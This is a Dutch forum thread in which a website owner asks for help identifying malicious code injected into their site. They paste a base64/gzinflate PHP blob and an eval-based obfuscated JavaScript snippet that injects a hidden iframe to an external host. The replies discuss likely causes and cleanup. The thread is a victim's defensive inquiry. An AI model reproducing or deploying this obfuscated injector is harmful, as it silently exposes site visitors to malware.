Onlangs wilde ik mn website verkopen en heeft een van de gezelligegebruikers op sitedeals mijn vertrouwen misbruikt toen zij aan de site mochten werken. Echter bij verkopen merkte ik dat pas (zit zelf op een mac namelijk) dat andere mensen last hebben van een trojan.

De code die dus verdacht is en er inmiddels is uitgehaald is:

#4187f2#
echo(gzinflate(base64_decode("3VdNb9swDP0rXQ6tvRSp vizbcL1L77tst6KHwFEbA3WyOl67oMh/X0TKFmMnaRsMA7ZDAEWiyEfykZSvV0Vd/mi+PE/rs1W+MC9n35q6XDwEYdbU69fZsvhZmUUzma5m9rcppk0xD57C1 zrnWZGjcLYp74P6/LyTLmozbcx386v5upyZcJ2LzOTmefqYVfmtmkSf15c8uVpfRgL WgqntH663y4TZbWY3hdguVYoS0kpEyonbkwj37VJI2NVwdeL3p ZPn9AQNuz8CzCVwwy4laFJgWViUKdjlCDmyelQy1AOoOULlKVi LHFR7olEqtjcEc+4DcAVL7feFAhs+RK0LAJQD5uQACjwRNnioP R2oiVgbaBdE1bnulGjrsOb9m87OKXmRcDX2XiSdLGDV9lyy93o JAKOYeOywcADmsiBY4jMLsKzTHJggJIhAaoWiREi9FzHhESHII VeJSBsasOVS70iBSlNBqC+IywQ/epnS5DNvTPTdTZOWTUAyl2HKDRfafnDe1iJ9zpSnDPgvCa8xdm glJiYV2Vc9DihkqUckSNGgvz7OHEmgu0jtmEGFuIxIZEE7VjEi kVQEG0NCU+3yhca8q5gh2QGGfIqU3mzNqn0yECPJIeLMc/BdjOegksdv1TWtVO6LE/mXHAkSJvqUFnOoUfioQ+Ejm3m7krSST+kpzp24E1D7cij7OTyk knUkpvMI1Dsn6E1XLDQVeMG1OzYYQ2LQSwSx5nrDHg/oWHF64877Fkby/zS94yHd24KcgCbKUXontoKWO81Gi3TP6DjWi3CSnwBUKFJ7FGj b2F18fNejyD7ex04GuvNkwnIYjgtNoPm2kw6opNnwHZaSYvBU/ah61mnhxCWMQNybQVLteXy42XVkzmII/UoNwP3tTvCeuf4x1H/mofePP8ClN6d9re7gZEA01VKDPmvAjmCeAvQhQUKrIdV32UvZz IMirKr8vl5WN/NpfbP9VMrul3VQ5iwrP+XV5NEsHpp5Vo7H4WqcV1VgglE1Go9u t79yNL64uwh7n2lPL2ZSm2r5bG7m5eMseN2E/pPNBKsw21xfuU++3w==")));

?>

Maar nu wilde ik zelf wel weten wat er staat zodat er misschien een aanwijzing staat wie het heeft gedaan. Ook zal op aanraden van een sitedeals lid de host er naar kijken, maar ben bang dat daar niet veel uitkomt. Bovendien hebben meerdere mensen van sitedeals er aan gewerkt, maar veel haakte af omdat ze het te moeilijk vonden. Ik hoor graag van jullie:)

Code:

<script>var s=new String();try{document.asd.asd}catch(q){r=1;c=String;}if(r&&document.createTextNode)y=2;e=eval;m=[4.5*y,18/y,52.5*y,204/y,16*y,80/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,206/y,50.5*y,232/y,34.5*y,216/y,50.5*y,218/y,50.5*y,220/y,58*y,230/y,33*y,242/y,42*y,194/y,51.5*y,156/y,48.5*y,218/y,50.5*y,80/y,19.5*y,196/y,55.5*y,200/y,60.5*y,78/y,20.5*y,182/y,24*y,186/y,20.5*y,246/y,4.5*y,18/y,4.5*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,228/y,20*y,82/y,29.5*y,18/y,4.5*y,250/y,16*y,202/y,54*y,230/y,50.5*y,64/y,61.5*y,18/y,4.5*y,18/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,238/y,57*y,210/y,58*y,202/y,20*y,68/y,30*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,64/y,57.5*y,228/y,49.5*y,122/y,19.5*y,208/y,58*y,232/y,56*y,116/y,23.5*y,94/y,24.5*y,220/y,59*y,202/y,57.5*y,232/y,58*y,230/y,54.5*y,202/y,55*y,232/y,58*y,230/y,49.5*y,216/y,60.5*y,196/y,57.5*y,92/y,52.5*y,220/y,51*y,222/y,19.5*y,64/y,59.5*y,210/y,50*y,232/y,52*y,122/y,19.5*y,98/y,24*y,78/y,16*y,208/y,50.5*y,210/y,51.5*y,208/y,58*y,122/y,19.5*y,98/y,24*y,78/y,16*y,230/y,58*y,242/y,54*y,202/y,30.5*y,78/y,59*y,210/y,57.5*y,210/y,49*y,210/y,54*y,210/y,58*y,242/y,29*y,208/y,52.5*y,200/y,50*y,202/y,55*y,118/y,56*y,222/y,57.5*y,210/y,58*y,210/y,55.5*y,220/y,29*y,194/y,49*y,230/y,55.5*y,216/y,58.5*y,232/y,50.5*y,118/y,54*y,202/y,51*y,232/y,29*y,96/y,29.5*y,232/y,55.5*y,224/y,29*y,96/y,29.5*y,78/y,31*y,120/y,23.5*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,124/y,17*y,82/y,29.5*y,18/y,4.5*y,250/y,4.5*y,18/y,51*y,234/y,55*y,198/y,58*y,210/y,55.5*y,220/y,16*y,210/y,51*y,228/y,48.5*y,218/y,50.5*y,228/y,20*y,82/y,61.5*y,18/y,4.5*y,18/y,59*y,194/y,57*y,64/y,51*y,64/y,30.5*y,64/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,198/y,57*y,202/y,48.5*y,232/y,50.5*y,138/y,54*y,202/y,54.5*y,202/y,55*y,232/y,20*y,78/y,52.5*y,204/y,57*y,194/y,54.5*y,202/y,19.5*y,82/y,29.5*y,204/y,23*y,230/y,50.5*y,232/y,32.5*y,232/y,58*y,228/y,52.5*y,196/y,58.5*y,232/y,50.5*y,80/y,19.5*y,230/y,57*y,198/y,19.5*y,88/y,19.5*y,208/y,58*y,232/y,56*y,116/y,23.5*y,94/y,24.5*y,220/y,59*y,202/y,57.5*y,232/y,58*y,230/y,54.5*y,202/y,55*y,232/y,58*y,230/y,49.5*y,216/y,60.5*y,196/y,57.5*y,92/y,52.5*y,220/y,51*y,222/y,19.5*y,82/y,29.5*y,204/y,23*y,230/y,58*y,242/y,54*y,202/y,23*y,236/y,52.5*y,230/y,52.5*y,196/y,52.5*y,216/y,52.5*y,232/y,60.5*y,122/y,19.5*y,208/y,52.5*y,200/y,50*y,202/y,55*y,78/y,29.5*y,204/y,23*y,230/y,58*y,242/y,54*y,202/y,23*y,224/y,55.5*y,230/y,52.5*y,232/y,52.5*y,222/y,55*y,122/y,19.5*y,194/y,49*y,230/y,55.5*y,216/y,58.5*y,232/y,50.5*y,78/y,29.5*y,204/y,23*y,230/y,58*y,242/y,54*y,202/y,23*y,216/y,50.5*y,204/y,58*y,122/y,19.5*y,96/y,19.5*y,118/y,51*y,92/y,57.5*y,232/y,60.5*y,216/y,50.5*y,92/y,58*y,222/y,56*y,122/y,19.5*y,96/y,19.5*y,118/y,51*y,92/y,57.5*y,202/y,58*y,130/y,58*y,232/y,57*y,210/y,49*y,234/y,58*y,202/y,20*y,78/y,59.5*y,210/y,50*y,232/y,52*y,78/y,22*y,78/y,24.5*y,96/y,19.5*y,82/y,29.5*y,204/y,23*y,230/y,50.5*y,232/y,32.5*y,232/y,58*y,228/y,52.5*y,196/y,58.5*y,232/y,50.5*y,80/y,19.5*y,208/y,50.5*y,210/y,51.5*y,208/y,58*y,78/y,22*y,78/y,24.5*y,96/y,19.5*y,82/y,29.5*y,18/y,4.5*y,18/y,50*y,222/y,49.5*y,234/y,54.5*y,202/y,55*y,232/y,23*y,206/y,50.5*y,232/y,34.5*y,216/y,50.5*y,218/y,50.5*y,220/y,58*y,230/y,33*y,242/y,42*y,194/y,51.5*y,156/y,48.5*y,218/y,50.5*y,80/y,19.5*y,196/y,55.5*y,200/y,60.5*y,78/y,20.5*y,182/y,24*y,186/y,23*y,194/y,56*y,224/y,50.5*y,220/y,50*y,134/y,52*y,210/y,54*y,200/y,20*y,204/y,20.5*y,118/y,4.5*y,18/y,62.5*y];with(c)mm=fromCharCode;for(i=0;i!=m.length;i++)s+=mm(e("m"+"["+"i"+']'));try{document.qwe.removeChild({})}catch(q){e(s);}</script>

Bedankt voor je reactie!

Maar hoe verwijst die dan in hemelsnaam naar een viruswebsiet of wat dan ook?

Geen idee, maar hier iets meer info:
http://wewatchyourwebsite.com/wordpr...d-removechild/

Hmm, raar verhaal. Blijkt maar weer: nooit te goed van vertrouwen zijn op sitedeals..

Zou ook kunnen dat het niet bewust door een van je programmeurs op je site is terecht gekomen. Mogelijkheden zijn dat er een virus op jouw computer of op een van de programmeurs staat of dat er een lek in je site zit (open source?)

Roderick, kan zijn dat diegene een virus op zijn computer had, waardoor FTP gegevens werden afgevangen en op die manier die javascript in de code zit. Kan ook zijn dat je een malafide wordpress thema hebt geupload of iets dergelijks. Belangrijk is om te weten waar het vandaan kwam, zodat je het bij de bron kan oppikken.

Wijzigen van FTP wachtwoorden e.d. is de eerste stap, daarna kun je verder gaan onderzoeken om te zien of meer bestanden zijn aangetast.

Inderdaadgedaan, mail naar versio gestuurd dus hoop dat die het kunnen zien waar het precies vandaan kwam, ben benieuwd.. Het was geen opensource script of iets, ook geen wordpress. Script was gekcoht en nooit last van gehad, totdat ik het nu wilde verkopen. Ik ben benieuwd wat versio ervan zegt

Aardig wat websites zijn geïnfecteerd als je zoekt op "document.asd.removeChild"

Origineel gepost door S. van Laere

Aardig wat websites zijn geïnfecteerd als je zoekt op "document.asd.removeChild"

Zelfs google is geinfecteerd volgens AVG als ik die zoekterm invul ;-)